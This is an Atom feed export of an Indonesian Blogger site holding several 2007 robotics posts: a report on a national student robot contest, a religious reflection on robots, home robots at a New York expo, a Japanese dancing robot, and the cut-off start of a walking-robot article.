<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5268514012556433429</id><updated>2012-02-16T15:43:21.720-08:00</updated><title type='text'>artikel</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>76</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-6394940096613387139</id><published>2007-12-17T22:52:00.000-08:00</published><updated>2007-12-17T22:59:54.119-08:00</updated><title type='text'></title><content type='html'>&lt;p style="font-weight: bold; font-family: georgia; color: rgb(0, 0, 153);" class="MsoPlainText"&gt;&lt;span style="font-size:180%;"&gt;Unjuk Gigi  Pembuat Robot&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;img style="float: right; margin-bottom: 5px; margin-left: 5px; margin-right: 5px;" src="http://www.pikiran-rakyat.com/cetak/2007/062007/14/kampus/kampus-utama.gif" border="1" height="167" width="250" /&gt;Singkirkan pikiran bahwa robot sekadar mainan untuk anak  kecil. Di Kompetisi Robot Indonesia (KRI)/Kompetisi Robot Cerdas Indonesia  (KRCI), robot-robot buatan mahasiswa diadu dan memukau penonton tua dan muda.  Selain menarik sebagai hiburan, muncul harapan semakin berkembangnya teknologi  robotika di tanah air lewat kreasi generasi muda.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;KRI/KRCI  2007 baru saja digelar di Graha Institut Teknologi Sepuluh November (ITS),  Surabaya, 9-10 Juni 2007 lalu. Tahun ini pesertanya semakin banyak. Ada 80  perguruan tinggi (PT) se-Indonesia yang mengajukan 138 proposal KRI dan 205  proposal KRCI. Itu peningkatan yang cukup signifikan jika dibandingkan tahun  sebeumnya yang diikuti oleh 56 institusi (150 proposal KRI/90 proposal KRCI).  Lalu siapa yang jadi pemenangnya? Simak dulu ceritanya berikut ini!&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Graha ITS  pada hari pembukaan, Sabtu (9/6), pemandangan membludaknya penonton tersaji di  depan mata. Tiket berjumlah 1.000 lembar &lt;em&gt;sold out&lt;/em&gt; dalam waktu kurang  dari setengah jam. Mereka yang tidak kebagian tiket harus puas menonton lewat  televisi yang disediakan panitia di luar area Graha ITS.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Di dalam  ruangan, suasana tidak kalah panas. “Maju”, atau “Bantai!” kerap terdengar dari  arah tempat duduk para suporter yang memberikan dukungan pada tim unggulannya.  Teriakan-teriakan itu ditimpali bunyi genderang bertalu-talu. Dung… dung… dung….  Atribut spanduk di sekeliling lapangan hingga bendera almamater yang  berkibar-kibar semakin menyemarakkan suasana. Kalau tak melihat robot yang  sedang mengadu keterampilan di lapangan, mungkin orang akan menyangka suasana  itu adalah pertandingan olahraga antarkampus.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Dalam  pertandingan itu, masing-masing robot beradu cepat memasukkan  &lt;em&gt;pearl&lt;/em&gt;–istilah untuk &lt;em&gt;cylinder blocks&lt;/em&gt; berdiameter 36 cm–ke dalam  tonggak besi (yang berarti pulau). Tim yang paling banyak meletakkan  &lt;em&gt;pearl&lt;/em&gt; di pulau-pulau dalam lapangan berbentuk seperti sarang laba-laba,  apalagi meraih bentuk &lt;em&gt;victory&lt;/em&gt;, akan menjadi pemenang. Robot-robot yang  terdiri dari satu robot manual dan maksimum tiga robot otomatis itu harus  diprogram sedemikian rupa sehingga mereka mampu bekerja sama dan menyukseskan  misi.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Penemuan dan  penguasaan pulau itu adalah representasi tema KRI tahun ini, yaitu “Pencarian  Pulau Komodo”, yang diselaraskan dengan tema kompetisi ABU Robocon 2007 tingkat  Asia Pasifik di Vietnam, Agustus mendatang, yaitu “Halong Bay  Discovery”.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Sebanyak 40  finalis KRI lolos seleksi bertanding dengan bersistem setengah kompetisi. Tiap  pertandingan berdurasi tiga menit. Pertandingan semakin menarik ketika menginjak  babak perdelapan final sampai kemudian invasi arek Surabaya terjadi di perempat  final lewat kehadiran F4LCON (ITS), Q-Numb On (PENS-ITS), G-Rush (PENS-ITS), dan  L4GE (Universitas Bhayangkara Surabaya).&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Laga paling  seru saat final berlangsung Minggu (10/6) siang. &lt;em&gt;All PENS’s final&lt;/em&gt;  antara G-Rush dan Q-Numb On memang sudah diprediksi sejak awal karena kedua  robot tersebut memang tanguh. Ketika waktu habis dan skor 8-2 untuk kemenangan  G-Rush, Firdaus, pengendali (&lt;em&gt;driver&lt;/em&gt;) robot manual G-Rush, langsung  menggelar sajadah dan melakukan sujud syukur di tengah lapangan.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Tim G-Rush  tampil mengundang riuh tepuk tangan penonton. Antara &lt;em&gt;driver&lt;/em&gt; dan robot  manual kompak berjalan dengan kecepatan tinggi dan stabil mengambil  &lt;em&gt;pearl&lt;/em&gt; dan meletakkannya di pulau terluar. Ketika lawan menumpuk  &lt;em&gt;pearl&lt;/em&gt; lain di atasnya, robot manual G-Rush bahkan mampu memutar cakram  untuk membaliknya. Sementara robot otomatis di lingkaran dalam, bekerja dengan  baik mendeteksi &lt;em&gt;pearl&lt;/em&gt; warna yang diharuskan, dan aktif bergerak  meletakkannya di pulau terdalam (bagian &lt;em&gt;victory&lt;/em&gt;).&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Sensor warna  itulah yang dipuji oleh Endra Pitowarno, ketua tim juri KRI 2007. “Dengan sensor  warna itu, G-Rush bisa membedakan &lt;em&gt;pearl&lt;/em&gt; miliknya dan bukan,” katanya  pada &lt;em&gt;Kampus&lt;/em&gt;. Untuk hal itu, G-Rush juga diganjar dengan tim dengan IT  terbaik serta skor tertinggi. Lagi-lagi mahkota juara kembali digenggam oleh  Politeknik Elektronika Negeri Surabaya (PENS) untuk kesembilan kalinya,  sekaligus meraih tiket maju ke ABU Robocon 2007.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Berbeda  dengan KRI, KRCI mengacu pada Fire Fighting Robot Contest di Trinity College,  AS. Dalam KRCI, pertandingan terbagi dalam empat divisi. Masing-masing divisi  senior beroda, senior berkaki, &lt;em&gt;expert single robot&lt;/em&gt;, dan &lt;em&gt;expert  swarm&lt;/em&gt;. Untuk KRCI tiap laga robot berdurasi 5 hingga 6 menit, di antaranya  robot ditugaskan untuk mematikan api lilin yang diletakkan di ruangan secara  acak sampai pada menemukan boneka.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Di sini,  sensor-sensor semacam inframerah dan ultraviolet berperan besar untuk mendeteksi  api. Ambil contoh, robot Ababil dari Universitas Brawijaya Malang mampu  mendeteksi api dalam waktu kira-kira 12 detik, kemudian kipas yang dipasang  meniupkan angin dan memadamkan api lilin dalam sekejap. Untuk keberhasilannya  dalam tiga kali &lt;em&gt;trial run&lt;/em&gt;, Ababil mendapat juara I untuk kategori  senior beroda.&lt;/span&gt;&lt;/p&gt;  &lt;p align="right"&gt;&lt;span style="font-family:Times New Roman;"&gt;Minat robotika meningkat&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Demi  terciptanya robot yang bisa beraksi maksimal, beberapa peserta sudah  mempersiapkan diri sejak akhir 2006. Sebab, kalau-kalau sang robot sampai tak  mampu membuat satu poin pun, bisa-bisa martabat almamater ikut jatuh. Para  mahasiswa yang kebanyakan berasal dari elektro, mesin, komputer, dsb., itu mulai  sering ngendon di lab untuk &lt;em&gt;ngulik&lt;/em&gt; sensor, motor, desain, dsb., mana  yang pas. Tim dari Unikom adalah salah satu yang sering &lt;em&gt;ngoprek&lt;/em&gt; sampai  memutuskan memakai motor yang berasal dari mainan anak-anak, juga beberapa  barang bekas, yang kemudian mengantarkan mereka menjadi juara. “Limbah yang  diberi ‘kosmetik’,” kata Yusrilla Kerlooza, pembimbingnya seraya  terkekeh.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Semua tim  yang lolos tahap seleksi proposal mendapatkan dana operasional sejumlah Rp 4  juta per tim. Dana yang relatif tidak mencukupi itu membuat PT mendukung setiap  wakilnya dengan tambahan dana. Puluhan juta digelontorkan demi usaha meraih  kebanggaan masuk putaran final. ”Ada beban juga &lt;em&gt;sih&lt;/em&gt;,” kata Aca, dari  tim Predator ITB dalam divisi ekspert, yang berhasil meraih juara 2. &lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Menurut  Menkominfo Muhammad Nuh, setidaknya ada enam manfaat yang bisa ditarik dari  keikutsertaan mahasiswa di ajang ini. Pertama, peserta dituntut untuk mengenal  persoalan dengan baik, yang tercermin dari aturan-aturan yang diberikan oleh  panitia. Kedua, peserta dituntut untuk bisa merancang desain dari persoalan yang  diketahuinya. Ketiga, kata Nuh, bagaimana para peserta bisa membuat rancangan  desainnya menjadi kenyataan. Keempat, mengatur strategi dengan baik untuk bisa  memenangkan pertandingan. Nilai kelima yaitu &lt;em&gt;entertainment&lt;/em&gt;, dan keenam,  nilai sportivitas dari para peserta.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Menurut  Endra, kegiatan KRI/KRCI selain menarik sebagai hiburan, namun di balik itu juga  terlihat potensi teknologi robotika di tanah air. Dibandingkan KRI pertama kali  tahun 1993 yang hanya diikuti enam institusi, KRI/KRCI tahun ini mencerminkan  minat robotika yang semakin meningkat. “Kualitas rata-rata peserta juga  meningkat. Robot otomatis kebanyakan sudah bisa jalan. Kalau tahun lalu,  kebanyakan masih manual saja,” kata Endra.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Menurutnya,  seiring perhatian dari berbagai pihak semakin baik, maka mimpi kita membuat  robot canggih jangan sampai sirna. “Robot-robot yang diciptakan  mahasiswa-mahasiswa di ajang ini, bisa jadi bukti bahwa kita punya SDM  berkualitas baik,” katanya.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Times New Roman;"&gt;Terkait  dengan makin banyaknya peserta dari tahun ke tahun, Nuh mengatakan, rencana  pemerintah untuk makin sering melakukan pelatihan-pelatihan robotika di  daerah-derah yang akan dijadikan zonasi kontes. “Pemenang di masing-masing zona  itu nantinya bisa dikirim ke tingkat nasional, dan gairah robotika semakin  hidup,” katanya.***&lt;/span&gt;&lt;/p&gt; &lt;p&gt;——————————————————————————————-&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-6394940096613387139?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/6394940096613387139/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=6394940096613387139' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6394940096613387139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6394940096613387139'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/unjuk-gigi-pembuat-robot-singkirkan.html' title=''/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1945014374727487568</id><published>2007-12-17T22:42:00.000-08:00</published><updated>2007-12-17T22:44:07.723-08:00</updated><title type='text'>Pengantar Robot ( Bagian 4 )</title><content type='html'>&lt;h3 class="post-title entry-title"&gt;&lt;span style="font-size:180%;"&gt;&lt;a href="http://opante.blogspot.com/2007/12/robot-dan-nikmat-allah-swt.html"&gt;Robot  dan Nikmat Allah SWT&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/h3&gt;  &lt;div class="post-body entry-content"&gt;&lt;p&gt;( apa hubunganya cobak ??  )&lt;br /&gt;=======================&lt;/p&gt;&lt;img style="width: 560px; height: 420px;" src="http://alexbudiyanto.web.id/wp-content/uploads/2007/05/robot-mic-ugm.jpg" /&gt;&lt;p&gt;Hari ini, disore yang ini….entah kenapa yah…lagi  sensi kali !!!&lt;br /&gt;Waktu surfing di I-net dan ada kabar bagus dari perkembangan  tim pembuatan robot yg canggih. Robot tsb udah bisa membedakan warna2 dan udah  bisa mengikuti suatu gerakan disekitarnya. Hebat yah ??? Canggihkan ???? Dan tim  tsb lagi membuat suatu perangkat yg bisa menerjemahkan dari ucapan seseorang  menjadi bahasa tulis/text dan ngga tanggung2, habisnya sampek jutaan dolar  dengan hasil yg belum seberapa.&lt;br /&gt;Kalo dipikir2, kok canggih buatan Allah yah  ?? Bayangin aja, tim itu lagi bingung buat penerjemah suara ke text dengan  berjuta-juta keruwetan pula yg mengiringi,sedangkan kita bisa langsung nulis ke  kertas semau kita apa yg telah kita dengar, dan bahkan kita bisa menulis tanpa  kesulitan perbedaan logat dan frekuensi yg kita dengar…. ( itu salah satu  kesulitan mereka ).&lt;br /&gt;Kalo begitu, nikmat yg manalagikah yg kau dustakan atas  Tuhanmu ??? hehhehe…..&lt;br /&gt;Dan kalo mau kita renungkan sedikit saja, betapa  banyaknya yg Allah berikan berupa nikmat2 yg berserakan tak terhingga disekitar  kita.&lt;br /&gt;Bisa kita ingat bagaimana orng akhirnya bisa membuat lensa untuk meniru  mata manusia yang sebenernya sampai sekarangpun masih juga tidak sempurna. Belum  lagi bagaimana manusia membuat suatu alat ( robot ) yg bisa berjalan spt  layaknya manusia dan sampai sekarang juga belum terwujud. Ada lagi, bagaimana  ruwetnya manusia berusaha membuat tandingan sang Otak karunia Allah dengan  processor yg bahkan processor terbarupun ternyata belum ada yg bisa  menyainginya……..&lt;br /&gt;Entah, berapa trilyun lagi kejadian kecil spt itu yg  sebenernya tidak terlalu kita perhatikan , padahal tanpa itu manusia gak bakalan  bisa berlenggang kangkung dg enaknya di dunia ini.&lt;br /&gt;Apakah untuk mengerti itu  semua. Manusia kudu mempunyai sifat2 Tuhan ??? Tentu tidak mungkin……tetapi  bagaimana bila justru sifat2 Tuhan bisa dilekatkan kepada kita atas kehendakNya  ?? Itu persoalan lain tentunya….hanya segelintir saja tentunya yang bisa  seberuntung itu. Apakah itu mungkin ??? Jawabnya tentu saja bisa. Sebagai  bocoran kecil jika anda menginginkan itu adalah apa yg disebut sebagai jalan  sufistik atau juga mempelajari tassawuf….. Pertanyaanya ialah apakah anda mau ??  Apakah anda tertarik ??? dan apakah anda bisa melaksanakan dengan  sesadar-sadarnya ???&lt;br /&gt;Ingat, mempelajari ke-sufi-an tidak harus dengan menyepi  atau menyendiri di gunung-gunung atau gua-gua…. Masih ingatkah anda dg cerita  mubaligh “Sari As Saqthi” ????&lt;br /&gt;Ataukah anda belum pernah mendengarnya ???  demikian cuplikan sekilas legenda beliau :&lt;br /&gt;Belaiu adalah seorang pedagang  yang mengambil keuntungan tidak lebih dari 5% dari setiap barang dagangan-nya.  Suatu saat beliau sedang sibuk melayani pelanggan dan beliau akan kedatangan  tamu , seorang syekh yg turun gunung….. dan cobalah tebak apa sikap beliau ??  Beliau berkata “apa arti degala yg ia kerjakan? Akan sangat berbeda jika ia  tinggal ditengah kerumunan dunia. Karena manusia adalahmahluk yg seharusnya  mampu tinggal ditengah masyarakat. Tetapi, hendaknya selalu sibuk dg Allah,  hingga tak sesaatpun Allah terlerai dari perhatianya” sehingga beliaupun kembali  sibuk melakukan transaksinya.&lt;br /&gt;&lt;br /&gt;Iiiihh….kalo takl pikir-pikir, mampu nggak  yah diri ini bisa jadi seperti beliau ??? aawww….ppeenggeeenn………!!!!&lt;br /&gt;&lt;br /&gt;(  Pahamilah !!! tdk ada yg lebih kuat selain Allah dan manusia adalh mahluk  teramat lemah dibawah kekuasaan dan keperkasaan-Nya. Akan tetapi, betapa manusia  berani menentang Allah dengan pengingkaran2 yg selalu dilakukan. Bukankah itu  suatu ‘keajaiban’ ??? ( &lt;&gt; ….)&lt;/p&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1945014374727487568?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1945014374727487568/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1945014374727487568' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1945014374727487568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1945014374727487568'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/pengantar-robot-bagian-4.html' title='Pengantar Robot ( Bagian 4 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-3816122780513717736</id><published>2007-12-17T22:35:00.000-08:00</published><updated>2007-12-17T22:40:59.728-08:00</updated><title type='text'>Pengantar Robot ( Bagian 3 )</title><content type='html'>&lt;div class="post hentry uncustomized-post-template"&gt;&lt;a name="4844600669572240024"&gt;&lt;/a&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);font-size:180%;" &gt;Festival Tahunan  DigitalLife Consumer Electronics and Entertainment  Expo&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;img src="http://www.jawapos.com/images/1191862353b" /&gt;&lt;br /&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Semakin “Dekat” dengan Manusia&lt;br /&gt;esain dan fungsi robot terus  berkembang. Sekarang robot tidak hanya digunakan dalam industri. Tapi, juga  membantu kerja manusia di rumah. Bahkan, ada robot yang dirancang untuk  menggantikan kehadiran manusia. Berikut beberapa robot “rumahan” yang dipamerkan  pada festival tahunan DigitalLife di New York, Amerika Serikat.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Spykee&lt;br /&gt;Sesuai namanya, Spykee merupakan robot yang difungsikan sebagai  “mata-mata” amatir. Di badannya tertanam kamera video, senter, telepon VoIP, dan  2 motor penggerak. Juga ada perangkat&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;seperti digital music player, loudspeaker, dan sound effect.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Sehingga, robot produksi Meccano ini juga bisa digunakan untuk menguping  pembicaraan seseorang, mengambil foto, dan merekam video. Atau memperingatkan  anda terhadap orang asing yang masuk ke wilayah anda.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Spykee adalah robot pertama di dunia yang bisa dikontrol via saluran  internet. Bisa juga lewat sinyal WiFi dengan jangkauan 328 kaki. Pemilik Spykee  bisa melihat apa yang “dilihat” robotnya. Media perantaranya melalui web cam dan  “berbicara” melalui mulut robot berkat VoIP.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Cukup mungil, bukan? Sesuai untuk menjadi “mata-mata” mini yang andal. Mulai  27 November mendatang, satu unit Spykee bisa diperoleh dengan harga USD 299 atau  sekitar Rp 2,7 juta.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;ConnectR&lt;br /&gt;Robot produksi iRobot ini berperan “menggantikan” kehadiran  seseorang. Berguna untuk orang dengan kegiatan sibuk di luar rumah. ConnectR  (baca:konektor) membuat seseorang seolah-olah berinteraksi secara fisik dengan  anggota keluarga atau teman-temannya. Sementara itu, dia berada di tempat lain.  Melihat, mendengar, serta berbicara melalui komputer atau laptop.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Prinsip kerja ConnectR kurang lebih sama dengan video streaming. Komponen  pendukungnya adalah kamera video dan audio. Perangkat ini tertanam di badan  robot. Kameranya mempunyai level zoom 16.7. Serta bisa merekam gambar dengan  kemiringan 220 derajat.&lt;br /&gt;Badan robot bisa diputar hingga 360 derajat. Pengguna  bisa melihat aktivitas lawan bicaranya dari bebagai sudut. Tertarik? Sign-up  melalui website iRobot dan isi survey mengenai ConnectR. Hingga akhir 2007,  ConnectR dijual USD 199 atau sekitar Rp 1,8 juta. Tahun depan, harga naik  menjadi USD 499 atau sekitar Rp 4,5 juta.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Looj&lt;br /&gt;Robot berbentuk mirip dongkrak ini sebenarnya mempunyai tugas simpel.  Tapi, bagi sebagian orang, bisa saja sangat menyusahkan. Apa itu? Membersihkan  saluran atap. Untuk mengoperasikan Looj, pengguna memang tetap memanjat ke atap.  Namun, tak perlu lagi susah-susah merayap di atap membersihkan daun-daun kering  atau sampah lain yang bertebaran.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Cukup letakkan looj, dan lepaskan remote control yang menancap di bagian  atas. Selanjutnya, tinggal gunakan remote control untuk menjalankan robot  berwarna hijau ini. Looj pun akan bergerak bolak-balik menyingkirkan semua  kotoran di atap.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Looj tersedia dalam 3 model. Tipe 120 dijual seharga USD 99 atau sekitar Rp  898 ribu. Tipe 130 yang dilengkapi holder, dibanderol USD 129,99 atau sekitar Rp  1,18 juta. Sementara tipe 150, dengan holder dan 2 baterai bisa dibeli dengan  harga USD 169,99 atau sekitar Rp 1,54 juta. (rum/bs)Ê&lt;/span&gt;&lt;/p&gt; &lt;p&gt;——————————————————————————————-&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-3816122780513717736?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/3816122780513717736/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=3816122780513717736' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3816122780513717736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3816122780513717736'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/pengantar-robot-bagian-3.html' title='Pengantar Robot ( Bagian 3 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-8103068482415372253</id><published>2007-12-17T22:30:00.000-08:00</published><updated>2007-12-17T22:32:20.457-08:00</updated><title type='text'>Pengantar Robot ( Bagian 2 )</title><content type='html'>&lt;span style="font-family: georgia; font-weight: bold; color: rgb(0, 0, 153);font-size:180%;" &gt;Jepang Kenalkan Robot Berdansa&lt;/span&gt; &lt;p align="left"&gt;&lt;img src="http://www.detikinet.com/images/content/2007/08/11/398/dancingrobot250.jpg" border="0" hspace="4" vspace="2" /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" align="left"&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;color:#000000;"&gt;Robot berdansa (cvl.iis.u-tokyo.ac.jp)&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Tokyo&lt;/strong&gt; - Di Jepang, perkembangan robot memang cukup pesat.  Mulai dari robot pembantu hingga robot pengganti dokter. Kini, robot yang mampu  berdansa pun hadir.&lt;/p&gt;  &lt;p&gt;Para ilmuwan dari University of Tokyo telah berhasil menciptakan robot yang  bisa mengikuti gerakan penari manusia. Ya, robot yang bisa berdansa seperti  layaknya manusia.&lt;/p&gt;  &lt;p&gt;Pembuatan robot HRP-2 bipedal yang bisa berdansa tersebut digagas oleh  Shin’ichiro Nakaoka dan dibantu oleh rekan-rekan dari universitas Tokyo.  Teknologi yang digunakan adalah teknologi penangkap gerakan, sehingga gerakan  dansa seseorang bisa terekam dan segera diikuti oleh sang robot.&lt;/p&gt;  &lt;p&gt;Walau kemampuan robot itu bisa dikatakan tidak meragukan, namun ada beberapa  hal yang menjadi problem. Yaitu mem-program sang robot agar tetap dapat  mengikuti gerakan yang sulit namun dengan keseimbangan yang tetap baik.&lt;/p&gt;  &lt;p&gt;Seperti dilansir Vnunet dan dikutip &lt;strong&gt;detikINET&lt;/strong&gt;, Sabtu  (11/8/2007), tak lama lagi, dunia akan menyaksikan robot tersebut menari tarian  balet ‘Swan Lake’. Namun, menurut para ilmuwan, robot ini tidak bisa mengikuti  melakukan balet yang seringkali loncat dan membiarkan kedua kakinya di udara  beberapa kali.&lt;/p&gt;  &lt;p&gt;Hingga saat ini, robot tersebut telah didemonstrasikan dan menari tarian  tradisional Jepang, ‘Aizu-Bandaisan’ yang banyak mengunakan gerakan badan  daripada kaki.&lt;strong&gt; &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;——————————————————————————————-&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-8103068482415372253?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/8103068482415372253/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=8103068482415372253' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8103068482415372253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8103068482415372253'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/pengantar-robot-bagian-2.html' title='Pengantar Robot ( Bagian 2 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-6729939760824505011</id><published>2007-12-17T22:24:00.000-08:00</published><updated>2007-12-17T22:28:01.771-08:00</updated><title type='text'>Pengantar Robot ( Bagian 1 )</title><content type='html'>&lt;p style="font-family: georgia; font-weight: bold; color: rgb(0, 0, 153);"&gt;&lt;span style="font-size:180%;"&gt;Teori ‘Otak Dengkul’ Bikin Robot Jalan Cepat&lt;/span&gt;&lt;/p&gt;&lt;p align="left"&gt;&lt;img src="http://detikinet.com/images/content/2007/07/13/398/runbot400.jpg" border="0" hspace="4" vspace="2" /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;color:#000000;"&gt;Runbot (Woergoetter dkk.)&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Jakarta&lt;/strong&gt; - Ilmuwan di Jerman berhasil menemukan cara untuk  membuat robot berjalan mirip manusia. Bukan hanya mirip, robot ini pun bisa  berjalan cepat dibandingkan robot serupa 